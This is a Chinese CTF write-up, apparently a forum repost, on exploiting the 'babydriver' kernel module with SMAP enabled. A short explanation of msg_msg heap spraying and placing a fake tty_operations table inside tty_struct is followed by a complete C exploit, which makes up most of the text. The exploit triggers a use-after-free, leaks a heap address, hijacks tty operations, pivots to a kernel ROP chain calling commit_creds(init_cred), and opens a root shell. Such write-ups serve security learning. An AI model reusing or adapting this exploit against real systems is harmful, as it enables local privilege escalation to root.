[原创]Kernel PWN-开启smap保护的babydrive
2023-3-11 11:22:56 Author: bbs.pediy.com(查看原文) 阅读量:8 收藏

由于原本的babydrive启动脚本里,没有开启smap,所以内核可以访问用户态的数据,因此我们才能够将fake_tty_operation和我们的rop布置到用户态。可是当我们开启了smap保护之后,内核态就没有办法访问用户态的数据,此时当我们再hijack tty_operation到我们的用户态时,我们的kernel就会panic,更别说劫持执行流到用户态上执行rop了。

msg_msg在linux 中用于进程之间通讯,在msgget函数调用后,会创建一条消息队列在内核空间中会创建一个 msg_queue 结构体,在调用msgsnd时就会发送一条msg的消息到指定队列上。

会根据用户发送的msg大小来调用kmalloc申请内存。因此,借助msg_msg我们可以实现任意大小的分配内核空间,并且可以控制该空间除去msg头(0x30)大小外的所有内存内容(这不就是堆

上文中提到,开启smap后,内核无法直接访问用户态的数据,因此这时候我们的tty_operation也需要布置到内核空间,才能成功的在对tty设备操作时调用到我们布置的gadget。

在这里鼠鼠我由于比较懒,不想再喷一次msg_msg,于是突发奇想,想到能不能利用tty_struct里没有数据的地方来布置我们的tty_operation,这样就不用再喷一次,难为一个刚入门kernel的lese了(笑)

于是鼠鼠计划把我的fake_tty_operation写到这里,利用题目中baby_write函数,把fake tty struct和fake tty operation一次性写进去,一炮双响,完成hijack tty operation和在内核空间布置fake tty operation的壮举。

从上文对msgsnd函数的分析,我们可以利用msgsnd来布置rop链,于此同时由于我们已经leak 了freelist上的地址,所以可以多次使用msgsnd发送合适size的消息,就有机会拿到已知地址的freelist上的object并且往里面写入rop链子,并且由于有freelist地址,再配合鼠鼠我找到的pop rsp; ret;这条gadget,就能直接跳到rop上,完成get root。

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

78

79

80

81

82

83

84

85

86

87

88

89

90

91

92

93

94

95

96

97

98

99

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

145

146

147

148

149

150

151

152

153

154

155

156

157

158

159

160

161

162

163

164

165

166

167

168

169

170

171

172

173

174

175

176

177

178

179

size_t user_cs, user_ss, user_rflags, user_sp;

size_t commit_cred = 0xffffffff810a1420;

size_t init_cred = 0xffffffff81e48c60;

size_t mov_rsp_rax_dnc_ebx_ret = 0xffffffff8181bfc5;

size_t pop_rax = 0xffffffff8100ce6e;

size_t swapgs_pop_rbp_ret = 0xffffffff81063694;

size_t iretq_ret = 0xffffffff814e35ef;

size_t pop_rdi_ret = 0xffffffff810d238d;

size_t mov_rc4_rdi_pop_rbp_ret = 0xffffffff81004d80;

size_t pop_rsp_ret = 0xffffffff81171045;

size_t leak[0x60];

size_t fake_tty[0x200];

int fd1;

char meiyongde[10];

int  fd3;

void info(char *s , size_t address ){

    if (address) printf("\033[32m\033[1m[Info] %s : \033[0m%#lx\n", s, address);

    else printf("\033[32m\033[1m[Info] %s \033[0m\n", s);

}

void usr(){

void (*commit) (char*) = commit_cred;

(*commit)(init_cred);

}

void save_status(){

  __asm__(

        "mov user_cs, cs;"

        "mov user_ss, ss;"

        "mov user_sp, rsp;"

        "pushf;"

        "pop user_rflags;"

    );

    info("status saved!",0);

}

void getshell(){

   info("root!!!!!!",0);

   system("/bin/sh");

}

void bind_cpu(int core)

{

    cpu_set_t cpu_set;

    CPU_ZERO(&cpu_set);

    CPU_SET(core, &cpu_set);

    sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);

}

int main()

{   int ret = 0;

    cpu_set_t cpu_set;

    CPU_ZERO(&cpu_set);

    CPU_SET(0, &cpu_set);

    sched_setaffinity(0, sizeof(cpu_set), &cpu_set);

    int ms_qid[0x100];

    save_status();

    fd1=open("/dev/babydev",2);

    int fd2=open("/dev/babydev",2);

    ioctl(fd2,0x10001,0x2e0);

    close(fd2);

    info("try to read heapadd",0);

    read(fd1,leak,0x60);

    info("try to write heapadd",0);

    info("heapadd",leak[0]);

    fd3=open("/dev/ptmx",2);

    size_t fake_ktty_add;

    size_t rop[0x20];

    int i =0;

    fake_ktty_add = (size_t*)leak[0];

    fake_ktty_add = fake_ktty_add+0x800;

    info("check tty add",fake_ktty_add);

    rop[i++] = *(size_t*)"patekblue";

    rop[i++] = pop_rdi_ret;

    rop[i++] = init_cred;

    rop[i++] = commit_cred;

 // rop[i++] = *(size_t*)"patekblue";

 //   rop[i++] = (size_t)usr;

    rop[i++] = swapgs_pop_rbp_ret;

    rop[i++] = *(size_t*)"patekblue";

    rop[i++] = iretq_ret;

    rop[i++] = (size_t)getshell;

    rop[i++] = user_cs;

    rop[i++] = user_rflags;

    rop[i++] = user_sp;

    rop[i++] = user_ss;

    info("rop:",rop);

    size_t testrop[0x20];

    testrop[0] = 0x11111111;

    testrop[1] = 0x22222222;

    testrop[3] =  0x33333333;

    testrop[4] = 0x44444444;

    testrop[5] = 0x55555555;

    testrop[6] =  0x66666666;

    testrop[7] =  0xdeadbeef;

    size_t operation[0x10];

    size_t f_operation_add = fake_ktty_add + 0x1a0;

    info("check fake tty operation",f_operation_add);

    info("prepare fake tty_operation done!",0);

    info("try to hijack tty...",0);

    read(fd1,fake_tty,0x200);

    fake_tty[3] = f_operation_add;

    int t = 0x34;

  //  fake_tty[t] = pop_rsp_ret;

   // fake_tty[t++] = leak[0];

   size_t kernel_rop = fake_ktty_add +0x400 +0x30;

   info("check rop add in kernel space",kernel_rop);

    fake_tty[t] = pop_rsp_ret;

    fake_tty[t+1] = kernel_rop;

    for(int j = 2;j<8;j++){

    fake_tty[t+j] = mov_rsp_rax_dnc_ebx_ret;

    }

    int msg_id[5];

    for (int k = 0;k < 5;k++){

       msg_id[k] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);

        if(msg_id[k]==-1){

            printf("get error msg_id : %d",k);

        }

        printf("sucess get msg_id : %d\n",k);

    }

    for (int w = 0; w < 5; w++)

    {

        ret = msgsnd((int*)msg_id[w],rop,0x2e0 - 0x30,0);

          if(ret==-1){

            printf("get error in : %d",w);

        }

    }

    write(fd1,fake_tty,0x200);

    write(fd3, meiyongde,10);

}


文章来源: https://bbs.pediy.com/thread-276424.htm
如有侵权请联系:admin#unsafe.sh